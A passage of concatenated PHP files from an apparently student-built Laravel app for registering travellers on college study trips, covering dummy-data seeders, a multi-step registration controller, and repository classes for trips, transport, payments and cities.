'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 30, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Vincent', 'last_name' => "Ramaekers", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'vincent zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 31, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Glenn', 'last_name' => "Vanaken", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'glenn zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME>egten DB::table('travellers')->insert([ 'user_id' => 32, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Roel', 'last_name' => "Aegten", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'roel zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //More Dummy Data DB::table('travellers')->insert([ 'user_id' => 33, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '32', 'last_name' => "32", 'email' => '<EMAIL>', 'country' => '32', 'address' => '32', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 34, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '33', 'last_name' => "33", 'email' => '<EMAIL>', 'country' => '33', 'address' => '33', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 35, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '34', 'last_name' => "34", 'email' => '<EMAIL>', 'country' => '34', 'address' => '34', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 36, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '35', 'last_name' => "35", 'email' => '<EMAIL>', 'country' => '35', 'address' => '35', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 37, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '36', 'last_name' => "36", 'email' => '<EMAIL>', 'country' => '36', 'address' => '36', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 38, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '37', 'last_name' => "37", 'email' => '<EMAIL>', 'country' => '37', 'address' => '37', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 39, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '38', 'last_name' => "38", 'email' => '<EMAIL>', 'country' => '38', 'address' => '38', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 40, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '39', 'last_name' => "39", 'email' => '<EMAIL>', 'country' => '39', 'address' => '39', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 41, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '40', 'last_name' => "40", 'email' => '<EMAIL>', 'country' => '40', 'address' => '40', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 42, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '41', 'last_name' => "41", 'email' => '<EMAIL>', 'country' => '41', 'address' => '41', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 43, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '42', 'last_name' => "42", 'email' => '<EMAIL>', 'country' => '42', 'address' => '42', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 44, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '43', 'last_name' => "43", 'email' => '<EMAIL>', 'country' => '43', 'address' => '43', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 45, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '44', 'last_name' => "44", 'email' => '<EMAIL>', 'country' => '44', 'address' => '44', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 46, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '45', 'last_name' => "45", 'email' => '<EMAIL>', 'country' => '45', 'address' => '45', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 47, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '46', 'last_name' => "46", 'email' => '<EMAIL>', 'country' => '46', 'address' => '46', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 48, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '47', 'last_name' => "47", 'email' => '<EMAIL>', 'country' => '47', 'address' => '47', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 49, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '48', 'last_name' => "48", 'email' => '<EMAIL>', 'country' => '48', 'address' => '48', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 50, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '49', 'last_name' => "49", 'email' => '<EMAIL>', 'country' => '49', 'address' => '49', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); DB::table('travellers')->insert([ 'user_id' => 51, 'zip_id' =>2, 'major_id' =>1, 'first_name' => '50', 'last_name' => "50", 'email' => '<EMAIL>', 'country' => '50', 'address' => '50', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); } } <file_sep><?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Http\Requests\RegistrationFormStep1Post; use App\Http\Requests\RegistrationFormStep2Post; use App\Http\Requests\RegistrationFormStep3Post; use App\Http\Requests\RegistrationFormAddZip; use Illuminate\Support\Facades\Mail; use App\Mail\TripRegistrationConfirmation; use App\Repositories\Contracts\StudieRepository; use App\Repositories\Contracts\CityRepository; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\TravellerRepository; class RegisterController extends Controller { /** * * @var studieRepository */ private $studies; /** * * @var cityRepository */ private $cities; /** * * @var tripRepository */ private $trips; /** * * @var travellerRepository */ private $travellers; /** * @author <NAME> * @return \Exception|\Illuminate\Contracts\View\Factory|\Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector|\Illuminate\View\View * Get's register session data and saves it to database. */ function __construct(StudieRepository $studie, CityRepository $citie, TripRepository $trip, TravellerRepository $traveller) { $this->middleware('auth'); $this->middleware('guest'); $this->studies = $studie; $this->cities = $citie; $this->trips = $trip; $this->travellers = $traveller; try{ session_start(); } catch (\Exception $ex){ session_reset(); } } public function createZip(RegistrationFormAddZip $request) { //incomming data is already validade by the specific request type //Get the input $aData['zip_code'] = $request->post('zip_code'); $aData['city'] = $request->post('city'); //Insert new record into zips table $newCity = $this->cities->store($aData); return response()->json(['zipAdded' => true,'zip_id'=>$newCity->zip_id,'zip_code'=>$newCity->zip_code,"city"=>$newCity->city]); } /** * Gets the travellers, trip, majors and studies and returns them with the step1 view * * @author <NAME> & <NAME> * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * */ public function step0() { return view('user.registrationform.step0'); } public function step0Post() { return redirect('/user/registrationform/step-1'); } public function step1(Request $request) { $aTrips = $this->trips->getAllActive(); foreach ($aTrips as $oTrip){ $aTripSelectList[$oTrip->trip_id] = $oTrip->name." ".$oTrip->year; } $aStudies = $this->studies->get(); foreach ($aStudies as $oStudy){ $aStudySelectList[$oStudy->study_id] = $oStudy->study_name; } /* Get majors according to the selected study */ $iSelectedStudyId = $request->session()->get('iSelectedStudyId', ''); $aMajors = $this->studies->getMajorsByStudy( $iSelectedStudyId); return view('user.registrationform.step1', [ 'aTrips' => $aTripSelectList, 'aStudies' => $aStudySelectList, 'aMajors' => $aMajors, 'sEnteredUsername' => $request->session()->get('sEnteredUsername', ''), 'iSelectedTripId' => $request->session()->get('iSelectedTripId', ''), 'iSelectedStudyId' => $request->session()->get('iSelectedStudyId', ''), 'iSelectedMajorId' => $request->session()->get('iSelectedMajorId', ''), ]); } /** * Validates the request data, puts the request data in a traveller and puts it in the session returns a redirect to step 2 * * @author <NAME> & <NAME> * @param Request $request * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector * */ public function step1Post(RegistrationFormStep1Post $request) { /* Put all user input in the session */ $request->session()->put('sEnteredUsername', $request->post('txtStudentNummer')); $request->session()->put('iSelectedTripId', $request->post('dropReis')); $request->session()->put('iSelectedStudyId', $request->post('Study')); $request->session()->put('iSelectedMajorId', $request->post('Major')); /* Save succesfull validation of the form in session */ $request->session()->put('validated-step-1', true); return redirect('/user/registrationform/step-2'); } /** * Gets the traveller from the session, gets zip codes, cities and returns the step 2 view * * @author <NAME> & <NAME> * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * */ public function step2(Request $request) { if ($request->session()->get('validated-step-1') != true) { return redirect('user/registrationform/step-1'); } $aCities = $this->cities->get(); $aGenderOptions = array( 'man' => 'Man', 'vrouw' => 'Vrouw', 'anders' => 'Anders', ); return view('user.registrationform.step2',[ 'aCities' => $aCities, 'aGenderOptions' => $aGenderOptions, 'sEnteredLastName' => $request->session()->get('sEnteredLastName', ''), 'sEnteredFirstName' => $request->session()->get('sEnteredFirstName', ''), 'sCheckedGender' => $request->session()->get('sCheckedGender', ''), 'sEnteredNationality' => $request->session()->get('sEnteredNationality', ''), 'sEnteredBirthDate' => $request->session()->get('sEnteredBirthDate', ''), 'sEnteredBirthPlace' => $request->session()->get('sEnteredBirthPlace', ''), 'sEnteredAddress' => $request->session()->get('sEnteredAddress', ''), 'iSelectedCityId' => $request->session()->get('iSelectedCityId', 0), 'sEnteredCountry' => $request->session()->get('sEnteredCountry', ''), 'sEnteredIban' => $request->session()->get('sEnteredIban', ''), 'sEnteredBic' => $request->session()->get('sEnteredBic', ''), ]); } /** * * Validates the request data and puts the data in a traveller then puts it in the session. * Returns a redirect to the next step in the form * @author <NAME> & <NAME> * @param Request $request * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector * */ public function step2Post(RegistrationFormStep2Post $request) { /* Put all the data in the session */ $request->session()->put('sEnteredLastName', $request->post('txtNaam')); $request->session()->put('sEnteredFirstName', $request->post('txtVoornaam')); $request->session()->put('sCheckedGender', $request->post('gender')); $request->session()->put('sEnteredNationality', $request->post('txtNationaliteit')); $request->session()->put('sEnteredBirthDate', $request->post('dateGeboorte')); $request->session()->put('sEnteredBirthPlace', $request->post('txtGeboorteplaats')); $request->session()->put('sEnteredAddress', $request->post('txtAdres')); $request->session()->put('iSelectedCityId', $request->post('dropGemeentes')); $request->session()->put('sEnteredCountry', $request->post('txtLand')); $request->session()->put('sEnteredIban', $request->post('txtBank')); $request->session()->put('sEnteredBic', $request->post('txtBic')); /* Save succesfull validation of the form in session */ $request->session()->put('validated-step-2', true); return redirect('/user/registrationform/step-3'); } /** * Gets the traveller from the session and returns it with the step3 view * * @author <NAME> & <NAME> * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * */ public function step3(Request $request) { if ($request->session()->get('validated-step-2') != true) { return redirect('user/registrationform/step-2'); } //get type of user to determine witch email extention to use and store into session $cTypeOfUser = strtolower($request->session()->get('sEnteredUsername')[0]); switch ($cTypeOfUser) { /* Docent */ case 'u': $sEmailDomain = 'ucll.be'; $request->session()->put('sTypeOfUser', 'docent'); break; /* Extern */ case 'b': $sEmailDomain = $request->session()->get('sEmailExtension', false); $request->session()->put('sTypeOfUser', 'attendant'); break; /* Student */ default: $sEmailDomain = 'student.ucll.be'; $request->session()->put('sTypeOfUser', 'student'); break; } return view('user.registrationform.step3', [ 'sEmailDomain' => $sEmailDomain, 'sEnteredEmailLocalPart' => $request->session()->get('sEnteredEmailLocalPart', ''), 'sEnteredMobile' => $request->session()->get('sEnteredMobile', ''), 'sEnteredEmergency1' => $request->session()->get('sEnteredEmergency1', ''), 'sEnteredEmergency2' => $request->session()->get('sEnteredEmergency2', ''), 'bCheckedMedicalCondition' => $request->session()->get('bCheckedMedicalCondition', false), 'sEnteredMedicalCondition' => $request->session()->get('sEnteredMedicalCondition', ''), ]); } public function step3Post(RegistrationFormStep3Post $request) { /* Put all the data in the session */ $request->session()->put('sEnteredEmailLocalPart', $request->post('txtEmailLocalPart')); $request->session()->put('sEmailDomain', $request->post('txtEmailDomain')); $request->session()->put('sEmail',$request->input('txtEmail')); $request->session()->put('sEnteredMobile', phone($request->post('txtGsm'), array('BE','NL'), 'E164')); $request->session()->put('sEnteredEmergency1',phone($request->post('txtNoodnummer1'), array('BE','NL'), 'E164')); //noodnummer 2 is geen vereist veld if ($request->post('txtNoodnummer2') != null){ $request->session()->put('sEnteredEmergency2', phone($request->post('txtNoodnummer2'), array('BE','NL'), 'E164')); } $request->session()->put('bCheckedMedicalCondition', $request->post('radioMedisch')); $request->session()->put('sEnteredMedicalCondition', $request->post('txtMedisch')); /* Save succesfull validation of the form in session */ $request->session()->put('validated-step-3', true); $sTypeOfUser = $request->session()->get('sTypeOfUser'); /* * Create the new user/traveller and link to the selected trip * */ /* Create the user/traveller */ $aUserData['username'] = $request->session()->get('sEnteredUsername'); $aUserData['password'] = <PASSWORD>($<PASSWORD> = <PASSWORD>()); if ($sTypeOfUser == 'docent' or $sTypeOfUser == 'attendant') { $aUserData['role'] = 'guide'; } else { $aUserData['role'] = 'traveller'; } $aUserData['major_id'] = $request->session()->get('iSelectedMajorId'); $aUserData['first_name'] = $request->session()->get('sEnteredFirstName'); $aUserData['last_name'] = $request->session()->get('sEnteredLastName'); $aUserData['email'] = $request->session()->get('sEmail'); $aUserData['country'] = $request->session()->get('sEnteredCountry'); $aUserData['address'] = $request->session()->get('sEnteredAddress'); $aUserData['zip_id'] = $request->session()->get('iSelectedCityId'); $aUserData['gender'] = $request->session()->get('sCheckedGender'); $aUserData['phone'] = $request->session()->get('sEnteredMobile'); $aUserData['emergency_phone_1'] = $request->session()->get('sEnteredEmergency1'); $aUserData['emergency_phone_2'] = $request->session()->get('sEnteredEmergency2'); $aUserData['nationality'] = $request->session()->get('sEnteredNationality'); $aUserData['birthdate'] = $request->session()->get('sEnteredBirthDate'); $aUserData['birthplace'] = $request->session()->get('sEnteredBirthPlace'); $aUserData['iban'] = $request->session()->get('sEnteredIban'); $aUserData['bic'] = $request->session()->get('sEnteredBic'); $aUserData['medical_issue'] = $request->session()->get('bCheckedMedicalCondition'); $aUserData['medical_info'] = $request->session()->get('sEnteredMedicalCondition'); $aUserData['trip_id'] = $request->session()->get('iSelectedTripId'); $this->travellers->store($aUserData); /* send mail */ $oTrip =$this->trips->get($aUserData['trip_id']); $sTripName = $oTrip->name." ".$oTrip->year; $aMailData = [ 'name' => $aUserData['first_name'].' '.$aUserData['last_name'], 'trip' => $sTripName, 'username' => $aUserData['username'], 'email' => $aUserData['email'], 'password' => $<PASSWORD> ]; Mail::to($aMailData['email'])->send(new TripRegistrationConfirmation($aMailData)); /* set succes message and flush all data from session*/ $sMessage = '<p>Je hebt je succesvol geregistreerd voor de '.$sTripName.' reis.</p>'; $sMessage .= '<p>Je hebt hiervan een bevestigingsmail gekregen met hierin je login gegevens.</p>'; $sMessage .= '<p>Indien je deze mail niet hebt ontvangen stuur een bericht via het contact formulier op deze site</p>.'; $request->session()->flush(); session_reset(); Auth::logout(); return redirect('/')->with('message', $sMessage); } }<file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\CityRepository; use App\Models\Zip; /** * accessing city data * * @author u0067341 */ class EloquentCity implements CityRepository { /** * Insert new record into zips table * @param type $aData */ public function store($aData) { $newCity = new Zip; $newCity->zip_code = $aData['zip_code']; $newCity->city = $aData['city']; $newCity->save(); return $newCity; } public function get(){ return Zip::orderBy('city')->get(); } }<file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\TransportRepository; use Illuminate\Support\Facades\DB; use App\Models\Trip; use App\Models\Transport; /** * accessing trip data * * @author u0067341 */ class EloquentTransport implements TransportRepository { /** * add transportation * * @return boolean */ public function addTransport($tripId,$driverId=null,$size){ $transport = new Transport(); $transport->trip_id = $tripId; $transport->size = $size; $transport->driver_id = $driverId; $transport->save(); return true; } /** * delete transportation * * @return boolean */ public function deleteTransport($transportId){ Transport::destroy($transportId); return true; } /** * get all vans for a specific trip * * @return collection */ public function getVansPerTrip($iTripId) { $vans = Trip::where('trip_id',$iTripId)->first() ->vans()->with('driver')->get(); return $vans; } public function getVanOccupation($vanId) { $van = Transport::where('transport_id',$vanId)->withcount('travellers')->first(); return $van->travellers_count; } public function getTravellersPerVan($vanId) { $travellersPerVan = TransPort::find($vanId)->travellers()->select('travellers.traveller_id','travellers.first_name','travellers.last_name')->get(); return $travellersPerVan; } public function hasTransport($travellerId,$tripId) { $vans = Transport::where('trip_id',$tripId)->get(); foreach($vans as $van){ $traveller = $van->travellers()->wherePivot('traveller_id',$travellerId)->first(); if ($traveller != null){ return true; } } return false; } public function addTravellerToVan($travellerId,$transportId) { $van = Transport::find($transportId)->travellers()->attach($travellerId); return true; } public function removeFromVan($transportId,$travellerId) { $test = Transport::find($transportId)->travellers()->detach($travellerId); return true; } }<file_sep><?php namespace App\Providers; use Illuminate\Support\ServiceProvider; use App\Repositories\Contracts\UserRepository; use App\Repositories\Eloquent\EloquentUser; use App\Repositories\Contracts\TravellerRepository; use App\Repositories\Eloquent\EloquentTraveller; use App\Repositories\Contracts\TripRepository; use App\Repositories\Eloquent\EloquentTrip; use App\Repositories\Contracts\StudieRepository; use App\Repositories\Eloquent\EloquentStudie; use App\Repositories\Contracts\CityRepository; use App\Repositories\Eloquent\EloquentCity; use App\Repositories\Contracts\PageRepository; use App\Repositories\Eloquent\EloquentPage; use App\Repositories\Contracts\PaymentRepository; use App\Repositories\Eloquent\EloquentPayment; use App\Repositories\Contracts\AccomodationRepository; use App\Repositories\Eloquent\EloquentAccomodation; use App\Repositories\Contracts\RoomRepository; use App\Repositories\Eloquent\EloquentRoom; use App\Repositories\Contracts\TransportRepository; use App\Repositories\Eloquent\EloquentTransport; /** * Description of RepositoryServiceProvider * * @author u0067341 */ class RepositoryServiceProvider extends ServiceProvider { public function register() { $this->app->singleton(UserRepository::class, EloquentUser::class); $this->app->singleton(TravellerRepository::class, EloquentTraveller::class); $this->app->singleton(TripRepository::class, EloquentTrip::class); $this->app->singleton(StudieRepository::class, EloquentStudie::class); $this->app->singleton(CityRepository::class, EloquentCity::class); $this->app->singleton(PageRepository::class, EloquentPage::class); $this->app->singleton(PaymentRepository::class, EloquentPayment::class); $this->app->singleton(AccomodationRepository::class, EloquentAccomodation::class); $this->app->singleton(RoomRepository::class, EloquentRoom::class); $this->app->singleton(TransportRepository::class, EloquentTransport::class); } }<file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class PagesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // DB::table('pages')->insert([ 'name' => 'Home', 'content' => '<h1>Studiereizen 3de opleidingsfase Professionele Bachelor</h1> <p style="text-align: justify;">Reeds vele jaren neemt internationalisering een prominente plaats in bij de Professionele Bachelors Elektromechanica, Energietechnologie en Elektronica-ICT. We vinden het immers belangrijk dat studenten tijdens hun opleiding in contact komen met buitenlandse industrie, onderwijs en cultuur. Met het oog op een latere loopbaan en zeker in het Europa van vandaag, is het eveneens niet onbelangrijk dat je jezelf leert uitdrukken in een andere taal. Internationalisering maakt deel uit van de opleiding tot Professionele Bachelor, en behoort dus tot het verplichte curriculum.</p> <p style="text-align: justify;">Onze studenten kunnen het volgende academiejaar kiezen tussen een studiereis naar Duitsland-Tsjechië of naar de Verenigde Staten van Amerika (USA) of een buitenlandse stage (Erasmus).</p>', 'is_visible'=>true, 'type' => 'html', ]); DB::table('pages')->insert(array( 'name' => 'Amerika 2018', 'content' => '', 'is_visible'=>true, 'type' => 'pdf', )); DB::table('pages')->insert([ "name" => "Duitsland 2017", "content" => '', 'is_visible'=>true, "type" => "pdf", ]); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Major extends Model { protected $primaryKey = 'major_id'; public function study() { return $this->belongsTo('App\Models\Study','study_id','study_id'); } public function travellers() { return $this->hasMany('App\Models\Travellers', 'major_id', 'major_id'); } public function scopeGetMajorsByStudy($query, $studyId) { return $query->where('study_id', $studyId); } } <file_sep><?php namespace App\Mail; use App\Traveller; use Illuminate\Bus\Queueable; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class InformationMail extends Mailable { use Queueable, SerializesModels; private $aData = array(); /** * Create a new message instance. * * @author <NAME> * * @return void */ public function __construct($aData) { $this->aData = $aData; } /** * Build the message. * * @author <NAME> * * @return $this */ public function build() { return $this->from(['address' => config('mail.from.address'), 'name' => config('mail.from.name')]) ->replyTo(['address' => $this->aData['contactMail']]) ->subject($this->aData['subject']) ->view('mails.informationmail') ->with(['aData' => $this->aData]); } } <file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\PaymentRepository; use Illuminate\Database\Eloquent\Collection; Use App\Models\Payment; use App\Models\Traveller; /** * accessing Page data * * @author u0067341 */ class EloquentPayment implements PaymentRepository { public function getByTrip($iTripId) { //get payments per trip and related traveller and user data $payments = Payment::with(['traveller:traveller_id,user_id,first_name,last_name','traveller.user:user_id,username' ]) ->where('trip_id',$iTripId) ->select('payment_id','traveller_id','date_of_payment','amount') ->get(); if ($payments->isNotEmpty()){ //make collection of collections with the necessary attributes $paymentData = new Collection; foreach($payments as $payment){ $paymentData->put($payment->payment_id, collect([ 'username' => $payment->traveller->user->username, 'firstname' => $payment->traveller->first_name, 'lastname' => $payment->traveller->last_name, 'date' => $payment->date_of_payment, 'amount' =>$payment->amount])); } return $paymentData->sortBy('lastname'); } else{ return false; } } } <file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\StudieRepository; use App\Models\Study; use App\Models\Major; /** * accessing city data * * @author u0067341 */ class EloquentStudie implements StudieRepository { /** * * @return type */ public function get() { return Study::select('study_id','study_name')->get(); } /** * * @param type $studyId * @return type */ public function getMajorsByStudy($studyId) { $aMajors = Major::GetMajorsByStudy($studyId)->pluck('major_name', 'major_id'); return $aMajors; } }<file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\TripRepository; use App\Models\Traveller; use App\Models\Trip; use App\Models\Destination; use App\Models\Transport; /** * accessing trip data * * @author u0067341 */ class EloquentTrip implements TripRepository { /** * Insert new record into trip table * * @author <NAME> * @param type $aTripData */ public function store($aTripData) { /* Create the trip */ try{ $oTrip = new Trip(); $oTrip->name = $aTripData['name']; $oTrip->is_active = $aTripData['is_active']; $oTrip->year = $aTripData['year']; $oTrip->contact_mail = $aTripData['contact_mail']; $oTrip->price = $aTripData['price']; $oTrip->save(); } catch(\Exception $e) { throw $e; } } /** * update record into trip table * * @author <NAME> * @param array $aTripData * @param integer $iTripId */ public function update($aTripData,$iTripId) { /* Update the trip */ try{ $oTrip = Trip::find($iTripId); $oTrip->name = $aTripData['name']; $oTrip->is_active = $aTripData['is_active']; $oTrip->year = $aTripData['year']; $oTrip->contact_mail = $aTripData['contact_mail']; $oTrip->price = $aTripData['price']; $oTrip->save(); } catch(\Exception $e) { throw $e; } } public function getAllTrips() { $trips = Trip::all(); return $trips; } public function get($iTripId) { $oTrip = Trip::where('trip_id', $iTripId)->first(); return $oTrip; } public function getAllActive() { $aTrips = Trip::IsActive()->select('trip_id','name','year')->orderBy('trip_id')->get(); return $aTrips; } public function getActiveByOrganiser($iUserId) { $aActiveTripsByOrganiser = Traveller::where('user_id', $iUserId)->first() ->trips()->where('is_active',true)->wherePivot('is_organizer', true) ->select('trips.trip_id','trips.name','trips.year') ->orderBy('trips.trip_id')->get(); return $aActiveTripsByOrganiser; } public function getActiveTripsForTraveller($iUserId) { $aActiveTripsForTraveller = Traveller::where('user_id', $iUserId)->first() ->trips()->where('is_active',true) 